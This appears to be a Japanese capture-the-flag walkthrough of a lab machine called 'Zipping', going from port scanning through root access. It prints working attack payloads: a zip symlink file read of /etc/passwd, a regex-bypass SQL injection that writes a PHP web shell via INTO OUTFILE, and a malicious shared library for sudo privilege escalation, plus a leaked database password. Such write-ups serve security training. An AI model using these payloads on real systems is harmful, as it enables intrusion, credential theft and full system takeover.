ポートスキャン
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP6mSkoF2+wARZhzEmi4RDFkpQx3gdzfggbgeI5qtcIseo7h1mcxH8UCPmw8Gx9+JsOjcNPBpHtp2deNZBzgKcA=
| 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXXd7dM7wgVC+lrF0+ZIxKZlKdFhG2Caa9Uft/kLXDa
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80番ポート
ファジング
$ ffuf -u http://$trg/FUZZ -e .php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -ic -t 80
[Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 210ms]
uploads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 206ms]
index.php [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 4895ms]
.php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 4905ms]
shop [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 213ms]
assets [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 210ms]
upload.php [Status: 200, Size: 5322, Words: 1882, Lines: 114, Duration: 208ms]
$ ffuf -u http://$trg/shop/FUZZ -e .php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -ic -t 80
.php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 219ms]
products.php [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 233ms]
[Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 254ms]
index.php [Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 240ms]
product.php [Status: 200, Size: 15, Words: 3, Lines: 1, Duration: 216ms]
assets [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 210ms]
cart.php [Status: 500, Size: 1, Words: 1, Lines: 2, Duration: 210ms]
home.php [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 3707ms]
/upload.php
test.zipを用意し、アップロードするとThe unzipped file must have a .pdf extension.とのこと
$ echo test > test.txt
$ zip test.zip test.txt
adding: test.txt (stored 0%)
拡張子をpdfにしたファイルを含むpdf.zipを用意し、アップロードするとunzipされ、/uploadsに展開された
$ file test.pdf
test.pdf: ASCII text
PayloadsAllTheThingsで調べたところ、CVE ZIP Symbolic Linkを発見
zip --symlinksでシンボリックリンクを維持してzipすることが出来る
$ ln -s /etc/passwd evil.pdf
$ zip --symlinks evil.zip evil.pdf
adding: evil.pdf (stored 0%)
$ curl http://10.10.11.229/uploads/e6e29733cfa9cfefcb6593cfc0bdcc39/evil.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
/etc/apache2/sites-enabled/000-default.confを読み取りwebrootを確認し、判明しているphpファイルを見ていく
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
<?php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
<?=template_header('Zipping | Product')?>
<div class="product content-wrapper">
<img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
<div>
<h1 class="name"><?=$product['name']?></h1>
<span class="price">
$<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">$<?=$product['rrp']?></span>
<?php endif; ?>
</span>
<form action="index.php?page=cart" method="post">
<input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
<input type="hidden" name="product_id" value="<?=$product['id']?>">
<input type="submit" value="Add To Cart">
</form>
<div class="description">
<?=$product['desc']?>
</div>
</div>
</div>
<?=template_footer()?>
SQLi
product.phpでpreg_matchによるidのチェックを回避できればSQLiが行えそう
preg_matchは、改行(%0A)を追加することで回避できる
存在しないであろうid100を含む、0-9で終わる文字列
id=%0A+100%27+--%20-0
を試したところ、homeにリダイレクトせずにProduct does not exist!となったため、インジェクションが成功していると思われる
unionベース
unionベースに移行する為に、列の数を特定
複数のソースを見ると最低でも7個は列が存在する
id=%0A+100%27+union+select+null,null,null,null,null,null,null,null+--%20-0
で応答があったので列は8
現在の接続ユーザーであるrootの権限を確認
id=%0A+100%27+union+select+null,null,null,null,null,null,group_concat(grantee,':',privilege_type),null+from+information_schema.user_privileges;+--%20-0
FILE権限があるため、書き込み可能なディレクトリ(/dev/shmや/var/lib/mysql)にwebシェルを書き込む
id=%0A+100%27+union+select+null,null,null,null,null,null,"<?php+system($_REQUEST['cmd']);+?>",null+into+outfile+"/var/lib/mysql/shell.php";+--%20-0
そこからリバースシェルを獲得
権限昇格
sudoを確認
$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
stringsしたところ気になる表示
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password:
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
You do not have permissions to read the file
File could not be opened.
================== Stock Actual ==================
Colour Black Gold Silver
Amount %-7d %-7d %-7d
Quality Excelent Average Poor
Amount %-9d %-7d %-4d
Exclusive Yes No
Amount %-4d %-4d
Warranty Yes No
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver):
Quality (0: excelent, 1: average, 2: poor):
Exclusivity (0: yes, 1: no):
Warranty (0: yes, 1: no):
Amount:
Error: The information entered is incorrect
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
The stock has been updated correctly.
パスワードでした
$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
バイナリをstraceし読み込んでいるsoと特定
$ strace ./stock
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so\300", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
悪意あるlibcounterをコンパイルし、読み込まれるディレクトリに置く
#include <stdlib.h>
__attribute__ ((__constructor__))
void evil(void){
system("/bin/bash");
}
$ gcc libcounter.c -fPIC -shared -o ./libcounter.so
sudoで実行し、パスワードを入力すると、悪意あるsoが読み込まれ、evilが実行されてrootシェル獲得